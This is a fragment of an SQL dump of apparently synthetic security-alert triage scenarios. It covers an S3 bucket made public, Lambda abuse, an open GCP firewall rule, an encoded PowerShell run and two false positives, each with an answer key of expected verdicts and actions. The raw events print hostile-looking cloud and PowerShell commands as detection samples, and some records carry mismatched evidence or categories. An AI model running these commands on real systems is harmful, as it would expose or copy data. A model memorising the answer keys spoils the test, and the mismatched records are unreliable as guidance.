3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:45:11Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.101\\\",\\\"username\\\":\\\"internal_user\\\",\\\"hostname\\\":\\\"corporate-server-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3 cp s3://company-data /backup --recursive\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.759Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:45:11Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.101\\\",\\\"username\\\":\\\"internal_user\\\",\\\"hostname\\\":\\\"corporate-server-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3 cp s3://company-data /backup --recursive\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1620, 'Prisma Cloud Detects Misconfigured AWS S3 Bucket', 'high', 'Prisma Cloud', 'An AWS S3 bucket was found with public read access, potentially exposing sensitive files.', 'Misconfiguration', 'T1530', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:15:30Z\",\"event_type\":\"config_change\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"172.16.0.10\",\"username\":\"cloud_admin\",\"hostname\":\"prisma-instance-1\",\"request_body\":\"\",\"command_line\":\"aws s3api put-bucket-acl --bucket sensitive-data --acl public-read\"}', '2026-03-15 19:29:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP involved in unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"aws s3api put-bucket-acl --bucket sensitive-data --acl public-read\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to alter bucket permissions to public\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The command executed is indicative of a serious misconfiguration leading to public data exposure.\"}', 'Intermediate', 'CLOUD', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.763Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:15:30Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.10\\\",\\\"username\\\":\\\"cloud_admin\\\",\\\"hostname\\\":\\\"prisma-instance-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3api put-bucket-acl --bucket sensitive-data --acl public-read\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.763Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:15:30Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.10\\\",\\\"username\\\":\\\"cloud_admin\\\",\\\"hostname\\\":\\\"prisma-instance-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3api put-bucket-acl --bucket sensitive-data --acl public-read\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.763Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:15:30Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.10\\\",\\\"username\\\":\\\"cloud_admin\\\",\\\"hostname\\\":\\\"prisma-instance-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3api put-bucket-acl --bucket sensitive-data --acl public-read\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.763Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:15:30Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.10\\\",\\\"username\\\":\\\"cloud_admin\\\",\\\"hostname\\\":\\\"prisma-instance-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3api put-bucket-acl --bucket sensitive-data --acl public-read\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.763Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:15:30Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.10\\\",\\\"username\\\":\\\"cloud_admin\\\",\\\"hostname\\\":\\\"prisma-instance-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3api put-bucket-acl --bucket sensitive-data --acl public-read\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1621, 'False Positive: Azure Sentinel Identifies Anomalous Login', 'low', 'Azure Defender', 'An alert was triggered for an anomalous login detected by Azure Sentinel, but the login was conducted by a traveling employee using a VPN.', 'Anomalous Login', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:22:50Z\",\"event_type\":\"login_success\",\"src_ip\":\"198.51.100.10\",\"dst_ip\":\"192.168.0.5\",\"username\":\"employee1\",\"hostname\":\"vpn-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:29:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"IP address linked to multiple benign VPN use cases\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"employee1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Authorized employee account logging in from a VPN\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login originated from a known VPN and matches the employee\'s travel itinerary.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.765Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:50Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"198.51.100.10\\\",\\\"dst_ip\\\":\\\"192.168.0.5\\\",\\\"username\\\":\\\"employee1\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.765Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:50Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"198.51.100.10\\\",\\\"dst_ip\\\":\\\"192.168.0.5\\\",\\\"username\\\":\\\"employee1\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.765Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:50Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"198.51.100.10\\\",\\\"dst_ip\\\":\\\"192.168.0.5\\\",\\\"username\\\":\\\"employee1\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.765Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:50Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"198.51.100.10\\\",\\\"dst_ip\\\":\\\"192.168.0.5\\\",\\\"username\\\":\\\"employee1\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.765Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:50Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"198.51.100.10\\\",\\\"dst_ip\\\":\\\"192.168.0.5\\\",\\\"username\\\":\\\"employee1\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1622, 'AWS Lambda Function Abuse Detected', 'high', 'AWS GuardDuty', 'An AWS Lambda function is being abused to perform unauthorized actions, potentially leading to data exposure.', 'Execution', 'T1505', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:45:19Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"192.168.1.15\",\"username\":\"lambda_user\",\"hostname\":\"lambda-function-123\",\"request_body\":\"\",\"command_line\":\"python3 lambda_function.py --access-key ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"}', '2026-03-15 19:29:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized cloud access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python3 lambda_function.py --access-key ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicative of abusive resource use\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of unauthorized actions by the Lambda function indicates potential resource abuse.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.768Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:45:19Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"lambda_user\\\",\\\"hostname\\\":\\\"lambda-function-123\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 lambda_function.py --access-key ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.768Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:45:19Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"lambda_user\\\",\\\"hostname\\\":\\\"lambda-function-123\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 lambda_function.py --access-key ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.768Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:45:19Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"lambda_user\\\",\\\"hostname\\\":\\\"lambda-function-123\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 lambda_function.py --access-key ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.768Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:45:19Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"lambda_user\\\",\\\"hostname\\\":\\\"lambda-function-123\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 lambda_function.py --access-key ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.768Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:45:19Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"lambda_user\\\",\\\"hostname\\\":\\\"lambda-function-123\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 lambda_function.py --access-key ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1623, 'Wiz Detects Misconfigured GCP Firewall', 'medium', 'Wiz', 'A GCP firewall rule was found allowing open access from the internet to internal services, potentially exposing sensitive data.', 'Misconfiguration', 'T1133', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:05:40Z\",\"event_type\":\"config_change\",\"src_ip\":\"192.168.3.20\",\"dst_ip\":\"0.0.0.0/0\",\"username\":\"firewall_admin\",\"hostname\":\"gcp-firewall\",\"request_body\":\"\",\"command_line\":\"gcloud compute firewall-rules create open-access-rule --allow tcp:80,tcp:443 --source-ranges 0.0.0.0/0\"}', '2026-03-15 19:29:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"0.0.0.0/0\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Rule granting open access from the internet\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"gcloud compute firewall-rules create open-access-rule --allow tcp:80,tcp:443 --source-ranges 0.0.0.0/0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicative of misconfiguration leading to potential data exposure\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The misconfiguration allows unrestricted internet access to internal services, potentially exposing sensitive data.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:05:40Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"0.0.0.0/0\\\",\\\"username\\\":\\\"firewall_admin\\\",\\\"hostname\\\":\\\"gcp-firewall\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"gcloud compute firewall-rules create open-access-rule --allow tcp:80,tcp:443 --source-ranges 0.0.0.0/0\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:05:40Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"0.0.0.0/0\\\",\\\"username\\\":\\\"firewall_admin\\\",\\\"hostname\\\":\\\"gcp-firewall\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"gcloud compute firewall-rules create open-access-rule --allow tcp:80,tcp:443 --source-ranges 0.0.0.0/0\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:05:40Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"0.0.0.0/0\\\",\\\"username\\\":\\\"firewall_admin\\\",\\\"hostname\\\":\\\"gcp-firewall\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"gcloud compute firewall-rules create open-access-rule --allow tcp:80,tcp:443 --source-ranges 0.0.0.0/0\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:05:40Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"0.0.0.0/0\\\",\\\"username\\\":\\\"firewall_admin\\\",\\\"hostname\\\":\\\"gcp-firewall\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"gcloud compute firewall-rules create open-access-rule --allow tcp:80,tcp:443 --source-ranges 0.0.0.0/0\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.773Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:05:40Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"dst_ip\\\":\\\"0.0.0.0/0\\\",\\\"username\\\":\\\"firewall_admin\\\",\\\"hostname\\\":\\\"gcp-firewall\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"gcloud compute firewall-rules create open-access-rule --allow tcp:80,tcp:443 --source-ranges 0.0.0.0/0\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1624, 'False Positive: AWS GuardDuty S3 Bucket Access', 'medium', 'AWS GuardDuty', 'An alert was triggered for unusual access to an S3 bucket by an external IP, but it was a scheduled test by a security team.', 'Data Access', 'T1530', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:55:00Z\",\"event_type\":\"data_access\",\"src_ip\":\"203.0.113.200\",\"dst_ip\":\"192.168.1.50\",\"username\":\"security_test_user\",\"hostname\":\"s3-bucket-tester\",\"request_body\":\"\",\"command_line\":\"aws s3 ls s3://test-bucket\"}', '2026-03-15 19:29:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"IP associated with known security team testing operations\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"security_test_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Account used by the security team for scheduled tests\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The access was part of a planned test by the security team, not a malicious attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:55:00Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"security_test_user\\\",\\\"hostname\\\":\\\"s3-bucket-tester\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3 ls s3://test-bucket\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:55:00Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"security_test_user\\\",\\\"hostname\\\":\\\"s3-bucket-tester\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3 ls s3://test-bucket\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:55:00Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"security_test_user\\\",\\\"hostname\\\":\\\"s3-bucket-tester\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3 ls s3://test-bucket\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:55:00Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"security_test_user\\\",\\\"hostname\\\":\\\"s3-bucket-tester\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3 ls s3://test-bucket\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.775Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:55:00Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"security_test_user\\\",\\\"hostname\\\":\\\"s3-bucket-tester\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3 ls s3://test-bucket\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1625, 'Suspicious PowerShell Execution with Encoded Command', 'high', 'Velociraptor', 'A PowerShell process was detected executing an encoded command on a critical server. This behavior is consistent with attempts to evade detection during a ransomware attack.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:45:13Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"admin_user\",\"hostname\":\"finance-server\",\"request_body\":\"\",\"command_line\":\"powershell.exe -enc JAB3AGUAYgBhAHIAbQBlAHQAZQByAHAAbwB3AGUAcgBzAGgAZQBsAGwA\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc JAB3AGUAYgBhAHIAbQBlAHQAZQByAHAAbwB3AGUAcgBzAGgAZQBsAGwA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command often associated with malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the finance server.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command is a strong indicator of malicious activity intended to evade detection.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.788Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"finance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGUAYgBhAHIAbQBlAHQAZQByAHAAbwB3AGUAcgBzAGgAZQBsAGwA\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.788Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"finance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGUAYgBhAHIAbQBlAHQAZQByAHAAbwB3AGUAcgBzAGgAZQBsAGwA\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.788Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 